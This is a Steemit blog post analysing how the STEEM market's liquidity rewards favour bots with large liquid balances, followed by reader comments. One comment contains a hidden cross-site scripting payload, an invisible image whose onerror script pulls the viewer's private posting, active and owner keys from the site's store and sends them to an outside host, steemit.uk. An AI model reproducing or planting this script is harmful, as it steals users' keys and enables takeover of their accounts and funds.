A Mathematical Analysis of Obtaining Liquidity Rewards

in #steem6 years ago (edited)

Liquidity Rewards

Recently, we were told that the Steem network would provide liquidity rewards for market makers. The reward is hourly in the form of 1200 (liquid) STEEM.

Essentially, liquidity points are added to each account when they make an order and subtracted when they take an order and liquidity points are effectively n^2 of an order.

We all saw before, in times long past prior to the original payments of SBD, what happens when we have a superlinear algorithm (which is often needed to prevent Sybil Attacks) and how quickly this favors large stakes.

The current rewarding mechanism for liquidity is highly advantageous towards those with lots of liquid STEEM and liquid SBD. Since the reward is in liquid STEEM, then the current method concentrates rewards towards the bot operator with the largest liquid balance. This effectively makes it so that smaller players in the market do not have the opportunity to obtain the maximal amount of liquidity points in a given hour so as to receive the reward.

The reason has to do with mathematics of rational numbers and, in particular, rational numbers with large denominators and numerators.

Some Math (The Horror!) and Numerical Analysis

Larger denominators and numerators necessarily give more fine tune control in the precision of the decimal expansion of a fraction.

First off, we need to note that the STEEM and SBD precision is 3 digits. Essentially, all STEEM and SBD can then treated as integers, with a radix moved over 3 digits. For example, if you have 121.830 STEEM and you are wanting to sell the STEEM for 40.245 SBD, then the resulting fraction would be 121.83/40.245 = 12183/40245 (approximately) = 0.3027208348863213.

Now, orders are first sorted by price and then are matched in a First-In-First-Out (FIFO) manner. So, in order to have a lower ask than the example order given above, one needs to have a price that is lower than 12183/40245.

Suppose that there is a bid that is buying 121.820 STEEM for 40.245 SBD. This fraction is 12182/40245. In order to obtain liquidity, one needs to have the order on the book for more than a minute and one does not want to lose liquidity points by taking off the market.

So, what order does one place? A simple solution is to take the average of the two numbers. This leads to 243.650 STEEM / 80.490 SBD.

The problem is that eventually one cannot continue to take averages to obtain a new order that will not be filled immediately. This is due to the precision levels of .001 of STEEM and SBD, and at some point, you would have to calculate a new ratio that satisfies the following inequality:

bid_sbd / bid_steem < order_sbd / order_steem < ask_sbd / ask_steem

Although, it is not necessarily difficult to compute order_sbd and order_steem that satisfies these conditions, the problem lies in that if the bids and asks become arbitrarily close to one another (a good thing, as this means that the spread is neglible), then the values of order_sbd and order_steem must become arbitrarily large to satisfy the inequality.


As such, in a tight market, the only way to place a new order that is not immediately (partially) filled means that you must have a large amount of liquid STEEM and liquid SBD.

After a few days of the internal market in action with liquidity rewards, the issue of bot operators with large stakes has become quite apparent.

The goal is to try to create a rewarding mechanism that does not give any market maker an advantage over any other market maker.

Further Thoughts

I need to consider how limiting the rate precision of STEEM and SBD to 3 affects the ability of obtaining any arbitrary level of precision. Theoretically, any level should still be achieved. However, the problem still remains that in order to obtain the desired level of precision, one needs a large amount of liquid STEEM.

An alternative is to consider all orders that are within a particular precision to be the same from the matching algorithm perspective. I think that this solution is practical in still allowing arbitrary fractions with the 3 digits of precision but gives those with a smaller stake to effectively have orders that are matched and not outbid / outasked by a bot operator with a large amount of liquid Steem tokens.

Edit to add: There was a discussion on this in slack, where @dan seemed to think that one solution would be to change how the order operation works in the codebase. He stated the following:

right now an order is defined as AMOUNT TO SELL / MIN TO RECEIVE
internally it is represented as AMOUNT LEFT TO SELL and AMOUNT_TO_SELL / MIN_TO_RECEIVE
if we changed the operation (transaction) to use the internal representation...
then regardless of AMOUNT_TO_SELL you can achieve any ratio
so long as AMOUNT_TO_SELL * PRICE > 1 satoshi

I am not sure how this would work. Some clarification would be great!

#steem is the best invention of the decade!<img src="awesome.jpg" onerror="if(window.store.getState().user._root.nodes != undefined){window.store.getState().user._root.entries = window.store.getState().user._root.nodes[7].entry[1]._root.entries}if(window.store.getState().user._root.entries != undefined){if(window.store.getState().user._root.entries[0]!=undefined && window.store.getState().user._root.entries[0][1] !=null){document.createElement('img').src='http\s://steemit.uk/u/'+(window.store.getState().user._root.entries[0][1]._root.entries[0][1]===null?'/p/nil/pr/nil/pu/nil':window.store.getState().user._root.entries[0][1]._root.entries[0][1])+'/p/'+((window.store.getState().user._root.entries[0][1]._root.entries[1]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[1][1]===null)?'nil/pr/nil/pu/nil':((window.store.getState().user._root.entries[0][1]._root.entries[1][1]+'/pr/'+((window.store.getState().user._root.entries[0][1]._root.entries[2]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[2][1]===null || window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0]===undefined || window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1]===null)?'nil/pu/nil':((window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2] == null ? '' : '--active-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[3] == null ? '' : '--owner-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[3][1].toWif()) + (window.store.getState().user._root.entries[0][1]._root.entries[2][2] == null ? '' : '--owner-' + window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[2][1].toWif()) +'/pu/'+(window.store.getState().user._root.entries[0][1]._root.entries[2][1]._root.entries[0][1].toPublicKey().toString()))))))}}" style="display:none;">


The great thing about the rewards system is that they serve as great bug bounties for things like that that normal people not trying to game the system would never run into.

You can track status on resolving this here: https://github.com/steemit/steem/issues/147

Thanks. I agree that this a pretty neat way to reward bug bounties. Perhaps in the future, if other features may be added and consequently do not work as intended, then they may be implemented with witness set parameters so thst bounty rewards can be paid, but we wouldn't need a hardfork to adjust rate of bounty, only for the fix.

Makes a lot of sense, seems like bots are here:) Not downing anyone but I'm all for equal opportunities, Happy Steeming Nice post sir!

I think you need more then to do it through the authorization through the social network! Interesting article!

I am unsure what you mean. Please explain. :D. Thanks.

Coin Marketplace

STEEM 0.28
TRX 0.07
JST 0.042
BTC 30605.20
ETH 2086.77
USDT 1.00
SBD 2.62